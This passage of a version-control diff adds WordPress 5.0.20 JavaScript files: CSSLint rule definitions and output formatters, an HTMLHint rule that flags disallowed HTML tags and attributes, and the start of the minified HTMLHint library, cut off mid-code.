+                        reporter.report("The properties " + mapping[prop].join(", ") + " can be replaced by " + prop + ".", event.line, event.col, rule);
+                    }
+                }
+            }
+        }
+
+        parser.addListener("startrule", startRule);
+        parser.addListener("startfontface", startRule);
+
+        // check for use of "font-size"
+        parser.addListener("property", function(event) {
+            var name = event.property.toString().toLowerCase();
+
+            if (propertiesToCheck[name]) {
+                properties[name] = 1;
+            }
+        });
+
+        parser.addListener("endrule", endRule);
+        parser.addListener("endfontface", endRule);
+
+    }
+
+});
+
+/*
+ * Rule: Don't use properties with a star prefix.
+ *
+ */
+
+CSSLint.addRule({
+
+    // rule information
+    id: "star-property-hack",
+    name: "Disallow properties with a star prefix",
+    desc: "Checks for the star property hack (targets IE6/7)",
+    url: "https://github.com/CSSLint/csslint/wiki/Disallow-star-hack",
+    browsers: "All",
+
+    // initialization
+    init: function(parser, reporter) {
+        "use strict";
+        var rule = this;
+
+        // check if property name starts with "*"
+        parser.addListener("property", function(event) {
+            var property = event.property;
+
+            if (property.hack === "*") {
+                reporter.report("Property with star prefix found.", event.property.line, event.property.col, rule);
+            }
+        });
+    }
+});
+
+/*
+ * Rule: Don't use text-indent for image replacement if you need to support rtl.
+ *
+ */
+
+CSSLint.addRule({
+
+    // rule information
+    id: "text-indent",
+    name: "Disallow negative text-indent",
+    desc: "Checks for text indent less than -99px",
+    url: "https://github.com/CSSLint/csslint/wiki/Disallow-negative-text-indent",
+    browsers: "All",
+
+    // initialization
+    init: function(parser, reporter) {
+        "use strict";
+        var rule = this,
+            textIndent,
+            direction;
+
+
+        function startRule() {
+            textIndent = false;
+            direction = "inherit";
+        }
+
+        // event handler for end of rules
+        function endRule() {
+            if (textIndent && direction !== "ltr") {
+                reporter.report("Negative text-indent doesn't work well with RTL. If you use text-indent for image replacement explicitly set direction for that item to ltr.", textIndent.line, textIndent.col, rule);
+            }
+        }
+
+        parser.addListener("startrule", startRule);
+        parser.addListener("startfontface", startRule);
+
+        // check for use of "font-size"
+        parser.addListener("property", function(event) {
+            var name = event.property.toString().toLowerCase(),
+                value = event.value;
+
+            if (name === "text-indent" && value.parts[0].value < -99) {
+                textIndent = event.property;
+            } else if (name === "direction" && value.toString() === "ltr") {
+                direction = "ltr";
+            }
+        });
+
+        parser.addListener("endrule", endRule);
+        parser.addListener("endfontface", endRule);
+
+    }
+
+});
+
+/*
+ * Rule: Don't use properties with a underscore prefix.
+ *
+ */
+
+CSSLint.addRule({
+
+    // rule information
+    id: "underscore-property-hack",
+    name: "Disallow properties with an underscore prefix",
+    desc: "Checks for the underscore property hack (targets IE6)",
+    url: "https://github.com/CSSLint/csslint/wiki/Disallow-underscore-hack",
+    browsers: "All",
+
+    // initialization
+    init: function(parser, reporter) {
+        "use strict";
+        var rule = this;
+
+        // check if property name starts with "_"
+        parser.addListener("property", function(event) {
+            var property = event.property;
+
+            if (property.hack === "_") {
+                reporter.report("Property with underscore prefix found.", event.property.line, event.property.col, rule);
+            }
+        });
+    }
+});
+
+/*
+ * Rule: Headings (h1-h6) should be defined only once.
+ */
+
+CSSLint.addRule({
+
+    // rule information
+    id: "unique-headings",
+    name: "Headings should only be defined once",
+    desc: "Headings should be defined only once.",
+    url: "https://github.com/CSSLint/csslint/wiki/Headings-should-only-be-defined-once",
+    browsers: "All",
+
+    // initialization
+    init: function(parser, reporter) {
+        "use strict";
+        var rule = this;
+
+        var headings = {
+            h1: 0,
+            h2: 0,
+            h3: 0,
+            h4: 0,
+            h5: 0,
+            h6: 0
+        };
+
+        parser.addListener("startrule", function(event) {
+            var selectors = event.selectors,
+                selector,
+                part,
+                pseudo,
+                i, j;
+
+            for (i=0; i < selectors.length; i++) {
+                selector = selectors[i];
+                part = selector.parts[selector.parts.length-1];
+
+                if (part.elementName && /(h[1-6])/i.test(part.elementName.toString())) {
+
+                    for (j=0; j < part.modifiers.length; j++) {
+                        if (part.modifiers[j].type === "pseudo") {
+                            pseudo = true;
+                            break;
+                        }
+                    }
+
+                    if (!pseudo) {
+                        headings[RegExp.$1]++;
+                        if (headings[RegExp.$1] > 1) {
+                            reporter.report("Heading (" + part.elementName + ") has already been defined.", part.line, part.col, rule);
+                        }
+                    }
+                }
+            }
+        });
+
+        parser.addListener("endstylesheet", function() {
+            var prop,
+                messages = [];
+
+            for (prop in headings) {
+                if (headings.hasOwnProperty(prop)) {
+                    if (headings[prop] > 1) {
+                        messages.push(headings[prop] + " " + prop + "s");
+                    }
+                }
+            }
+
+            if (messages.length) {
+                reporter.rollupWarn("You have " + messages.join(", ") + " defined in this stylesheet.", rule);
+            }
+        });
+    }
+
+});
+
+/*
+ * Rule: Don't use universal selector because it's slow.
+ */
+
+CSSLint.addRule({
+
+    // rule information
+    id: "universal-selector",
+    name: "Disallow universal selector",
+    desc: "The universal selector (*) is known to be slow.",
+    url: "https://github.com/CSSLint/csslint/wiki/Disallow-universal-selector",
+    browsers: "All",
+
+    // initialization
+    init: function(parser, reporter) {
+        "use strict";
+        var rule = this;
+
+        parser.addListener("startrule", function(event) {
+            var selectors = event.selectors,
+                selector,
+                part,
+                i;
+
+            for (i=0; i < selectors.length; i++) {
+                selector = selectors[i];
+
+                part = selector.parts[selector.parts.length-1];
+                if (part.elementName === "*") {
+                    reporter.report(rule.desc, part.line, part.col, rule);
+                }
+            }
+        });
+    }
+
+});
+
+/*
+ * Rule: Don't use unqualified attribute selectors because they're just like universal selectors.
+ */
+
+CSSLint.addRule({
+
+    // rule information
+    id: "unqualified-attributes",
+    name: "Disallow unqualified attribute selectors",
+    desc: "Unqualified attribute selectors are known to be slow.",
+    url: "https://github.com/CSSLint/csslint/wiki/Disallow-unqualified-attribute-selectors",
+    browsers: "All",
+
+    // initialization
+    init: function(parser, reporter) {
+        "use strict";
+
+        var rule = this;
+
+        parser.addListener("startrule", function(event) {
+
+            var selectors = event.selectors,
+                selectorContainsClassOrId = false,
+                selector,
+                part,
+                modifier,
+                i, k;
+
+            for (i=0; i < selectors.length; i++) {
+                selector = selectors[i];
+
+                part = selector.parts[selector.parts.length-1];
+                if (part.type === parser.SELECTOR_PART_TYPE) {
+                    for (k=0; k < part.modifiers.length; k++) {
+                        modifier = part.modifiers[k];
+
+                        if (modifier.type === "class" || modifier.type === "id") {
+                            selectorContainsClassOrId = true;
+                            break;
+                        }
+                    }
+
+                    if (!selectorContainsClassOrId) {
+                        for (k=0; k < part.modifiers.length; k++) {
+                            modifier = part.modifiers[k];
+                            if (modifier.type === "attribute" && (!part.elementName || part.elementName === "*")) {
+                                reporter.report(rule.desc, part.line, part.col, rule);
+                            }
+                        }
+                    }
+                }
+
+            }
+        });
+    }
+
+});
+
+/*
+ * Rule: When using a vendor-prefixed property, make sure to
+ * include the standard one.
+ */
+
+CSSLint.addRule({
+
+    // rule information
+    id: "vendor-prefix",
+    name: "Require standard property with vendor prefix",
+    desc: "When using a vendor-prefixed property, make sure to include the standard one.",
+    url: "https://github.com/CSSLint/csslint/wiki/Require-standard-property-with-vendor-prefix",
+    browsers: "All",
+
+    // initialization
+    init: function(parser, reporter) {
+        "use strict";
+        var rule = this,
+            properties,
+            num,
+            propertiesToCheck = {
+                "-webkit-border-radius": "border-radius",
+                "-webkit-border-top-left-radius": "border-top-left-radius",
+                "-webkit-border-top-right-radius": "border-top-right-radius",
+                "-webkit-border-bottom-left-radius": "border-bottom-left-radius",
+                "-webkit-border-bottom-right-radius": "border-bottom-right-radius",
+
+                "-o-border-radius": "border-radius",
+                "-o-border-top-left-radius": "border-top-left-radius",
+                "-o-border-top-right-radius": "border-top-right-radius",
+                "-o-border-bottom-left-radius": "border-bottom-left-radius",
+                "-o-border-bottom-right-radius": "border-bottom-right-radius",
+
+                "-moz-border-radius": "border-radius",
+                "-moz-border-radius-topleft": "border-top-left-radius",
+                "-moz-border-radius-topright": "border-top-right-radius",
+                "-moz-border-radius-bottomleft": "border-bottom-left-radius",
+                "-moz-border-radius-bottomright": "border-bottom-right-radius",
+
+                "-moz-column-count": "column-count",
+                "-webkit-column-count": "column-count",
+
+                "-moz-column-gap": "column-gap",
+                "-webkit-column-gap": "column-gap",
+
+                "-moz-column-rule": "column-rule",
+                "-webkit-column-rule": "column-rule",
+
+                "-moz-column-rule-style": "column-rule-style",
+                "-webkit-column-rule-style": "column-rule-style",
+
+                "-moz-column-rule-color": "column-rule-color",
+                "-webkit-column-rule-color": "column-rule-color",
+
+                "-moz-column-rule-width": "column-rule-width",
+                "-webkit-column-rule-width": "column-rule-width",
+
+                "-moz-column-width": "column-width",
+                "-webkit-column-width": "column-width",
+
+                "-webkit-column-span": "column-span",
+                "-webkit-columns": "columns",
+
+                "-moz-box-shadow": "box-shadow",
+                "-webkit-box-shadow": "box-shadow",
+
+                "-moz-transform": "transform",
+                "-webkit-transform": "transform",
+                "-o-transform": "transform",
+                "-ms-transform": "transform",
+
+                "-moz-transform-origin": "transform-origin",
+                "-webkit-transform-origin": "transform-origin",
+                "-o-transform-origin": "transform-origin",
+                "-ms-transform-origin": "transform-origin",
+
+                "-moz-box-sizing": "box-sizing",
+                "-webkit-box-sizing": "box-sizing"
+            };
+
+        // event handler for beginning of rules
+        function startRule() {
+            properties = {};
+            num = 1;
+        }
+
+        // event handler for end of rules
+        function endRule() {
+            var prop,
+                i,
+                len,
+                needed,
+                actual,
+                needsStandard = [];
+
+            for (prop in properties) {
+                if (propertiesToCheck[prop]) {
+                    needsStandard.push({
+                        actual: prop,
+                        needed: propertiesToCheck[prop]
+                    });
+                }
+            }
+
+            for (i=0, len=needsStandard.length; i < len; i++) {
+                needed = needsStandard[i].needed;
+                actual = needsStandard[i].actual;
+
+                if (!properties[needed]) {
+                    reporter.report("Missing standard property '" + needed + "' to go along with '" + actual + "'.", properties[actual][0].name.line, properties[actual][0].name.col, rule);
+                } else {
+                    // make sure standard property is last
+                    if (properties[needed][0].pos < properties[actual][0].pos) {
+                        reporter.report("Standard property '" + needed + "' should come after vendor-prefixed property '" + actual + "'.", properties[actual][0].name.line, properties[actual][0].name.col, rule);
+                    }
+                }
+            }
+
+        }
+
+        parser.addListener("startrule", startRule);
+        parser.addListener("startfontface", startRule);
+        parser.addListener("startpage", startRule);
+        parser.addListener("startpagemargin", startRule);
+        parser.addListener("startkeyframerule", startRule);
+        parser.addListener("startviewport", startRule);
+
+        parser.addListener("property", function(event) {
+            var name = event.property.text.toLowerCase();
+
+            if (!properties[name]) {
+                properties[name] = [];
+            }
+
+            properties[name].push({
+                name: event.property,
+                value: event.value,
+                pos: num++
+            });
+        });
+
+        parser.addListener("endrule", endRule);
+        parser.addListener("endfontface", endRule);
+        parser.addListener("endpage", endRule);
+        parser.addListener("endpagemargin", endRule);
+        parser.addListener("endkeyframerule", endRule);
+        parser.addListener("endviewport", endRule);
+    }
+
+});
+
+/*
+ * Rule: You don't need to specify units when a value is 0.
+ */
+
+CSSLint.addRule({
+
+    // rule information
+    id: "zero-units",
+    name: "Disallow units for 0 values",
+    desc: "You don't need to specify units when a value is 0.",
+    url: "https://github.com/CSSLint/csslint/wiki/Disallow-units-for-zero-values",
+    browsers: "All",
+
+    // initialization
+    init: function(parser, reporter) {
+        "use strict";
+        var rule = this;
+
+        // count how many times "float" is used
+        parser.addListener("property", function(event) {
+            var parts = event.value.parts,
+                i = 0,
+                len = parts.length;
+
+            while (i < len) {
+                if ((parts[i].units || parts[i].type === "percentage") && parts[i].value === 0 && parts[i].type !== "time") {
+                    reporter.report("Values of 0 shouldn't have units specified.", parts[i].line, parts[i].col, rule);
+                }
+                i++;
+            }
+
+        });
+
+    }
+
+});
+
+(function() {
+    "use strict";
+
+    /**
+     * Replace special characters before write to output.
+     *
+     * Rules:
+     *  - single quotes is the escape sequence for double-quotes
+     *  - &amp; is the escape sequence for &
+     *  - &lt; is the escape sequence for <
+     *  - &gt; is the escape sequence for >
+     *
+     * @param {String} message to escape
+     * @return escaped message as {String}
+     */
+    var xmlEscape = function(str) {
+        if (!str || str.constructor !== String) {
+            return "";
+        }
+
+        return str.replace(/["&><]/g, function(match) {
+            switch (match) {
+                case "\"":
+                    return "&quot;";
+                case "&":
+                    return "&amp;";
+                case "<":
+                    return "&lt;";
+                case ">":
+                    return "&gt;";
+            }
+        });
+    };
+
+    CSSLint.addFormatter({
+        // format information
+        id: "checkstyle-xml",
+        name: "Checkstyle XML format",
+
+        /**
+         * Return opening root XML tag.
+         * @return {String} to prepend before all results
+         */
+        startFormat: function() {
+            return "<?xml version=\"1.0\" encoding=\"utf-8\"?><checkstyle>";
+        },
+
+        /**
+         * Return closing root XML tag.
+         * @return {String} to append after all results
+         */
+        endFormat: function() {
+            return "</checkstyle>";
+        },
+
+        /**
+         * Returns message when there is a file read error.
+         * @param {String} filename The name of the file that caused the error.
+         * @param {String} message The error message
+         * @return {String} The error message.
+         */
+        readError: function(filename, message) {
+            return "<file name=\"" + xmlEscape(filename) + "\"><error line=\"0\" column=\"0\" severty=\"error\" message=\"" + xmlEscape(message) + "\"></error></file>";
+        },
+
+        /**
+         * Given CSS Lint results for a file, return output for this format.
+         * @param results {Object} with error and warning messages
+         * @param filename {String} relative file path
+         * @param options {Object} (UNUSED for now) specifies special handling of output
+         * @return {String} output for results
+         */
+        formatResults: function(results, filename/*, options*/) {
+            var messages = results.messages,
+                output = [];
+
+            /**
+             * Generate a source string for a rule.
+             * Checkstyle source strings usually resemble Java class names e.g
+             * net.csslint.SomeRuleName
+             * @param {Object} rule
+             * @return rule source as {String}
+             */
+            var generateSource = function(rule) {
+                if (!rule || !("name" in rule)) {
+                    return "";
+                }
+                return "net.csslint." + rule.name.replace(/\s/g, "");
+            };
+
+
+            if (messages.length > 0) {
+                output.push("<file name=\""+filename+"\">");
+                CSSLint.Util.forEach(messages, function (message) {
+                    // ignore rollups for now
+                    if (!message.rollup) {
+                        output.push("<error line=\"" + message.line + "\" column=\"" + message.col + "\" severity=\"" + message.type + "\"" +
+                          " message=\"" + xmlEscape(message.message) + "\" source=\"" + generateSource(message.rule) +"\"/>");
+                    }
+                });
+                output.push("</file>");
+            }
+
+            return output.join("");
+        }
+    });
+
+}());
+
+CSSLint.addFormatter({
+    // format information
+    id: "compact",
+    name: "Compact, 'porcelain' format",
+
+    /**
+     * Return content to be printed before all file results.
+     * @return {String} to prepend before all results
+     */
+    startFormat: function() {
+        "use strict";
+        return "";
+    },
+
+    /**
+     * Return content to be printed after all file results.
+     * @return {String} to append after all results
+     */
+    endFormat: function() {
+        "use strict";
+        return "";
+    },
+
+    /**
+     * Given CSS Lint results for a file, return output for this format.
+     * @param results {Object} with error and warning messages
+     * @param filename {String} relative file path
+     * @param options {Object} (Optional) specifies special handling of output
+     * @return {String} output for results
+     */
+    formatResults: function(results, filename, options) {
+        "use strict";
+        var messages = results.messages,
+            output = "";
+        options = options || {};
+
+        /**
+         * Capitalize and return given string.
+         * @param str {String} to capitalize
+         * @return {String} capitalized
+         */
+        var capitalize = function(str) {
+            return str.charAt(0).toUpperCase() + str.slice(1);
+        };
+
+        if (messages.length === 0) {
+            return options.quiet ? "" : filename + ": Lint Free!";
+        }
+
+        CSSLint.Util.forEach(messages, function(message) {
+            if (message.rollup) {
+                output += filename + ": " + capitalize(message.type) + " - " + message.message + " (" + message.rule.id + ")\n";
+            } else {
+                output += filename + ": line " + message.line +
+                    ", col " + message.col + ", " + capitalize(message.type) + " - " + message.message + " (" + message.rule.id + ")\n";
+            }
+        });
+
+        return output;
+    }
+});
+
+CSSLint.addFormatter({
+    // format information
+    id: "csslint-xml",
+    name: "CSSLint XML format",
+
+    /**
+     * Return opening root XML tag.
+     * @return {String} to prepend before all results
+     */
+    startFormat: function() {
+        "use strict";
+        return "<?xml version=\"1.0\" encoding=\"utf-8\"?><csslint>";
+    },
+
+    /**
+     * Return closing root XML tag.
+     * @return {String} to append after all results
+     */
+    endFormat: function() {
+        "use strict";
+        return "</csslint>";
+    },
+
+    /**
+     * Given CSS Lint results for a file, return output for this format.
+     * @param results {Object} with error and warning messages
+     * @param filename {String} relative file path
+     * @param options {Object} (UNUSED for now) specifies special handling of output
+     * @return {String} output for results
+     */
+    formatResults: function(results, filename/*, options*/) {
+        "use strict";
+        var messages = results.messages,
+            output = [];
+
+        /**
+         * Replace special characters before write to output.
+         *
+         * Rules:
+         *  - single quotes is the escape sequence for double-quotes
+         *  - &amp; is the escape sequence for &
+         *  - &lt; is the escape sequence for <
+         *  - &gt; is the escape sequence for >
+         *
+         * @param {String} message to escape
+         * @return escaped message as {String}
+         */
+        var escapeSpecialCharacters = function(str) {
+            if (!str || str.constructor !== String) {
+                return "";
+            }
+            return str.replace(/"/g, "'").replace(/&/g, "&amp;").replace(/</g, "&lt;").replace(/>/g, "&gt;");
+        };
+
+        if (messages.length > 0) {
+            output.push("<file name=\""+filename+"\">");
+            CSSLint.Util.forEach(messages, function (message) {
+                if (message.rollup) {
+                    output.push("<issue severity=\"" + message.type + "\" reason=\"" + escapeSpecialCharacters(message.message) + "\" evidence=\"" + escapeSpecialCharacters(message.evidence) + "\"/>");
+                } else {
+                    output.push("<issue line=\"" + message.line + "\" char=\"" + message.col + "\" severity=\"" + message.type + "\"" +
+                        " reason=\"" + escapeSpecialCharacters(message.message) + "\" evidence=\"" + escapeSpecialCharacters(message.evidence) + "\"/>");
+                }
+            });
+            output.push("</file>");
+        }
+
+        return output.join("");
+    }
+});
+
+/* globals JSON: true */
+
+CSSLint.addFormatter({
+    // format information
+    id: "json",
+    name: "JSON",
+
+    /**
+     * Return content to be printed before all file results.
+     * @return {String} to prepend before all results
+     */
+    startFormat: function() {
+        "use strict";
+        this.json = [];
+        return "";
+    },
+
+    /**
+     * Return content to be printed after all file results.
+     * @return {String} to append after all results
+     */
+    endFormat: function() {
+        "use strict";
+        var ret = "";
+        if (this.json.length > 0) {
+            if (this.json.length === 1) {
+                ret = JSON.stringify(this.json[0]);
+            } else {
+                ret = JSON.stringify(this.json);
+            }
+        }
+        return ret;
+    },
+
+    /**
+     * Given CSS Lint results for a file, return output for this format.
+     * @param results {Object} with error and warning messages
+     * @param filename {String} relative file path (Unused)
+     * @return {String} output for results
+     */
+    formatResults: function(results, filename, options) {
+        "use strict";
+        if (results.messages.length > 0 || !options.quiet) {
+            this.json.push({
+                filename: filename,
+                messages: results.messages,
+                stats: results.stats
+            });
+        }
+        return "";
+    }
+});
+
+CSSLint.addFormatter({
+    // format information
+    id: "junit-xml",
+    name: "JUNIT XML format",
+
+    /**
+     * Return opening root XML tag.
+     * @return {String} to prepend before all results
+     */
+    startFormat: function() {
+        "use strict";
+        return "<?xml version=\"1.0\" encoding=\"utf-8\"?><testsuites>";
+    },
+
+    /**
+     * Return closing root XML tag.
+     * @return {String} to append after all results
+     */
+    endFormat: function() {
+        "use strict";
+        return "</testsuites>";
+    },
+
+    /**
+     * Given CSS Lint results for a file, return output for this format.
+     * @param results {Object} with error and warning messages
+     * @param filename {String} relative file path
+     * @param options {Object} (UNUSED for now) specifies special handling of output
+     * @return {String} output for results
+     */
+    formatResults: function(results, filename/*, options*/) {
+        "use strict";
+
+        var messages = results.messages,
+            output = [],
+            tests = {
+                "error": 0,
+                "failure": 0
+            };
+
+        /**
+         * Generate a source string for a rule.
+         * JUNIT source strings usually resemble Java class names e.g
+         * net.csslint.SomeRuleName
+         * @param {Object} rule
+         * @return rule source as {String}
+         */
+        var generateSource = function(rule) {
+            if (!rule || !("name" in rule)) {
+                return "";
+            }
+            return "net.csslint." + rule.name.replace(/\s/g, "");
+        };
+
+        /**
+         * Replace special characters before write to output.
+         *
+         * Rules:
+         *  - single quotes is the escape sequence for double-quotes
+         *  - &lt; is the escape sequence for <
+         *  - &gt; is the escape sequence for >
+         *
+         * @param {String} message to escape
+         * @return escaped message as {String}
+         */
+        var escapeSpecialCharacters = function(str) {
+
+            if (!str || str.constructor !== String) {
+                return "";
+            }
+
+            return str.replace(/"/g, "'").replace(/</g, "&lt;").replace(/>/g, "&gt;");
+
+        };
+
+        if (messages.length > 0) {
+
+            messages.forEach(function (message) {
+
+                // since junit has no warning class
+                // all issues as errors
+                var type = message.type === "warning" ? "error" : message.type;
+
+                // ignore rollups for now
+                if (!message.rollup) {
+
+                    // build the test case separately, once joined
+                    // we'll add it to a custom array filtered by type
+                    output.push("<testcase time=\"0\" name=\"" + generateSource(message.rule) + "\">");
+                    output.push("<" + type + " message=\"" + escapeSpecialCharacters(message.message) + "\"><![CDATA[" + message.line + ":" + message.col + ":" + escapeSpecialCharacters(message.evidence) + "]]></" + type + ">");
+                    output.push("</testcase>");
+
+                    tests[type] += 1;
+
+                }
+
+            });
+
+            output.unshift("<testsuite time=\"0\" tests=\"" + messages.length + "\" skipped=\"0\" errors=\"" + tests.error + "\" failures=\"" + tests.failure + "\" package=\"net.csslint\" name=\"" + filename + "\">");
+            output.push("</testsuite>");
+
+        }
+
+        return output.join("");
+
+    }
+});
+
+CSSLint.addFormatter({
+    // format information
+    id: "lint-xml",
+    name: "Lint XML format",
+
+    /**
+     * Return opening root XML tag.
+     * @return {String} to prepend before all results
+     */
+    startFormat: function() {
+        "use strict";
+        return "<?xml version=\"1.0\" encoding=\"utf-8\"?><lint>";
+    },
+
+    /**
+     * Return closing root XML tag.
+     * @return {String} to append after all results
+     */
+    endFormat: function() {
+        "use strict";
+        return "</lint>";
+    },
+
+    /**
+     * Given CSS Lint results for a file, return output for this format.
+     * @param results {Object} with error and warning messages
+     * @param filename {String} relative file path
+     * @param options {Object} (UNUSED for now) specifies special handling of output
+     * @return {String} output for results
+     */
+    formatResults: function(results, filename/*, options*/) {
+        "use strict";
+        var messages = results.messages,
+            output = [];
+
+        /**
+         * Replace special characters before write to output.
+         *
+         * Rules:
+         *  - single quotes is the escape sequence for double-quotes
+         *  - &amp; is the escape sequence for &
+         *  - &lt; is the escape sequence for <
+         *  - &gt; is the escape sequence for >
+         *
+         * @param {String} message to escape
+         * @return escaped message as {String}
+         */
+        var escapeSpecialCharacters = function(str) {
+            if (!str || str.constructor !== String) {
+                return "";
+            }
+            return str.replace(/"/g, "'").replace(/&/g, "&amp;").replace(/</g, "&lt;").replace(/>/g, "&gt;");
+        };
+
+        if (messages.length > 0) {
+
+            output.push("<file name=\""+filename+"\">");
+            CSSLint.Util.forEach(messages, function (message) {
+                if (message.rollup) {
+                    output.push("<issue severity=\"" + message.type + "\" reason=\"" + escapeSpecialCharacters(message.message) + "\" evidence=\"" + escapeSpecialCharacters(message.evidence) + "\"/>");
+                } else {
+                    var rule = "";
+                    if (message.rule && message.rule.id) {
+                        rule = "rule=\"" + escapeSpecialCharacters(message.rule.id) + "\" ";
+                    }
+                    output.push("<issue " + rule + "line=\"" + message.line + "\" char=\"" + message.col + "\" severity=\"" + message.type + "\"" +
+                        " reason=\"" + escapeSpecialCharacters(message.message) + "\" evidence=\"" + escapeSpecialCharacters(message.evidence) + "\"/>");
+                }
+            });
+            output.push("</file>");
+        }
+
+        return output.join("");
+    }
+});
+
+CSSLint.addFormatter({
+    // format information
+    id: "text",
+    name: "Plain Text",
+
+    /**
+     * Return content to be printed before all file results.
+     * @return {String} to prepend before all results
+     */
+    startFormat: function() {
+        "use strict";
+        return "";
+    },
+
+    /**
+     * Return content to be printed after all file results.
+     * @return {String} to append after all results
+     */
+    endFormat: function() {
+        "use strict";
+        return "";
+    },
+
+    /**
+     * Given CSS Lint results for a file, return output for this format.
+     * @param results {Object} with error and warning messages
+     * @param filename {String} relative file path
+     * @param options {Object} (Optional) specifies special handling of output
+     * @return {String} output for results
+     */
+    formatResults: function(results, filename, options) {
+        "use strict";
+        var messages = results.messages,
+            output = "";
+        options = options || {};
+
+        if (messages.length === 0) {
+            return options.quiet ? "" : "\n\ncsslint: No errors in " + filename + ".";
+        }
+
+        output = "\n\ncsslint: There ";
+        if (messages.length === 1) {
+            output += "is 1 problem";
+        } else {
+            output += "are " + messages.length + " problems";
+        }
+        output += " in " + filename + ".";
+
+        var pos = filename.lastIndexOf("/"),
+            shortFilename = filename;
+
+        if (pos === -1) {
+            pos = filename.lastIndexOf("\\");
+        }
+        if (pos > -1) {
+            shortFilename = filename.substring(pos+1);
+        }
+
+        CSSLint.Util.forEach(messages, function (message, i) {
+            output = output + "\n\n" + shortFilename;
+            if (message.rollup) {
+                output += "\n" + (i+1) + ": " + message.type;
+                output += "\n" + message.message;
+            } else {
+                output += "\n" + (i+1) + ": " + message.type + " at line " + message.line + ", col " + message.col;
+                output += "\n" + message.message;
+                output += "\n" + message.evidence;
+            }
+        });
+
+        return output;
+    }
+});
+
+return CSSLint;
+})();
Index: /tags/5.0.20/src/wp-includes/js/codemirror/htmlhint-kses.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/codemirror/htmlhint-kses.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/codemirror/htmlhint-kses.js	(revision 56912)
@@ -0,0 +1,30 @@
+/* global HTMLHint */
+/* eslint no-magic-numbers: ["error", { "ignore": [0, 1] }] */
+HTMLHint.addRule({
+	id: 'kses',
+	description: 'Element or attribute cannot be used.',
+	init: function( parser, reporter, options ) {
+		'use strict';
+
+		var self = this;
+		parser.addListener( 'tagstart', function( event ) {
+			var attr, col, attrName, allowedAttributes, i, len, tagName;
+
+			tagName = event.tagName.toLowerCase();
+			if ( ! options[ tagName ] ) {
+				reporter.error( 'Tag <' + event.tagName + '> is not allowed.', event.line, event.col, self, event.raw );
+				return;
+			}
+
+			allowedAttributes = options[ tagName ];
+			col = event.col + event.tagName.length + 1;
+			for ( i = 0, len = event.attrs.length; i < len; i++ ) {
+				attr = event.attrs[ i ];
+				attrName = attr.name.toLowerCase();
+				if ( ! allowedAttributes[ attrName ] ) {
+					reporter.error( 'Tag attribute [' + attr.raw + ' ] is not allowed.', event.line, col + attr.index, self, attr.raw );
+				}
+			}
+		});
+	}
+});
Index: /tags/5.0.20/src/wp-includes/js/codemirror/htmlhint.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/codemirror/htmlhint.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/codemirror/htmlhint.js	(revision 56912)
@@ -0,0 +1,8 @@
+/*!
+ * HTMLHint v0.9.14
+ * https://github.com/yaniswang/HTMLHint
+ *
+ * (c) 2014-2017 Yanis Wang <yanis.wang@gmail.com>.
+ * MIT Licensed
+ */
+var HTMLHint=function(e){function t(e,t){return Array(e+1).join(t||" ")}var a={};return a.version="0.9.14",a.release="20170826",a.rules={},a.defaultRuleset={"tagname-lowercase":!0,"attr-lowercase":!0,"attr-value-double-quotes":!0,"doctype-first":!0,"tag-pair":!0,"spec-char-escape":!0,"id-unique":!0,"src-not-empty":!0,"attr-no-duplication":!0,"title-require":!0},a.addRule=function(e){a.rules[e.id]=e},a.verify=function(t,n){(n===e||0===Object.keys(n).length)&&(n=a.defaultRuleset),t=t.replace(/^\s*<!--\s*htmlhint\s+([^\r\n]+?)\s*-->/i,function(t,a){return n===e&&(n={}),a.replace(/(?:^|,)\s*([^:,]+)\s*(?:\:\s*([^,\s]+))?/g,function(t,a,r){"false"===r?r=!1:"true"===r&&(r=!0),n[a]=r===e?!0:r}),""});var r,i=new HTMLParser,s=new a.Reporter(t,n),o=a.rules;for(var l in n)r=o[l],r!==e&&n[l]!==!1&&r.init(i,s,n[l]);return i.parse(t),s.messages},a.format=function(e,a){a=a||{};var n=[],r={white:"",grey:"",red:"",reset:""};a.colors&&(r.white="[37m",r.grey="[90m",r.red="[31m",r.reset="[39m");var i=a.indent||0;return e.forEach(function(e){var a=40,s=a+20,o=e.evidence,l=e.line,u=e.col,d=o.length,c=u>a+1?u-a:1,f=o.length>u+s?u+s:d;a+1>u&&(f+=a-u+1),o=o.replace(/\t/g," ").substring(c-1,f),c>1&&(o="..."+o,c-=3),d>f&&(o+="..."),n.push(r.white+t(i)+"L"+l+" |"+r.grey+o+r.reset);var g=u-c,h=o.substring(0,g).match(/[^\u0000-\u00ff]/g);null!==h&&(g+=h.length),n.push(r.white+t(i)+t((l+"").length+3+g)+"^ "+r.red+e.message+" ("+e.rule.id+")"+r.reset)}),n},a}();"object"==typeof exports&&exports&&(exports.HTMLHint=HTMLHint),function(e){var t=function(){var e=this;e._init.apply(e,arguments)};t.prototype={_init:function(e,t){var a=this;a.html=e,a.lines=e.split(/\r?\n/);var n=e.match(/\r?\n/);a.brLen=null!==n?n[0].length:0,a.ruleset=t,a.messages=[]},error:function(e,t,a,n,r){this.report("error",e,t,a,n,r)},warn:function(e,t,a,n,r){this.report("warning",e,t,a,n,r)},info:function(e,t,a,n,r){this.report("info",e,t,a,n,r)},report:function(e,t,a,n,r,i){for(var s,o,l=this,u=l.lines,d=l.brLen,c=a-1,f=u.length;f>c&&(s=u[c],o=s.length,n>o&&f>a);c++)a++,n-=o,1!==n&&(n-=d);l.messages.push({type:e,message:t,raw:i,evidence:s,line:a,col:n,rule:{id:r.id,description:r.description,link:"https://github.com/yaniswang/HTMLHint/wiki/"+r.id}})}},e.Reporter=t}(HTMLHint);var HTMLParser=function(e){var t=function(){var e=this;e._init.apply(e,arguments)};return t.prototype={_init:function(){var e=this;e._listeners={},e._mapCdataTags=e.makeMap("script,style"),e._arrBlocks=[],e.lastEvent=null},makeMap:function(e){for(var t={},a=e.split(","),n=0;a.length>n;n++)t[a[n]]=!0;return t},parse:function(t){function a(t,a,n,r){var i=n-b+1;r===e&&(r={}),r.raw=a,r.pos=n,r.line=w,r.col=i,L.push(r),c.fire(t,r);for(var s;s=m.exec(a);)w++,b=n+m.lastIndex}var 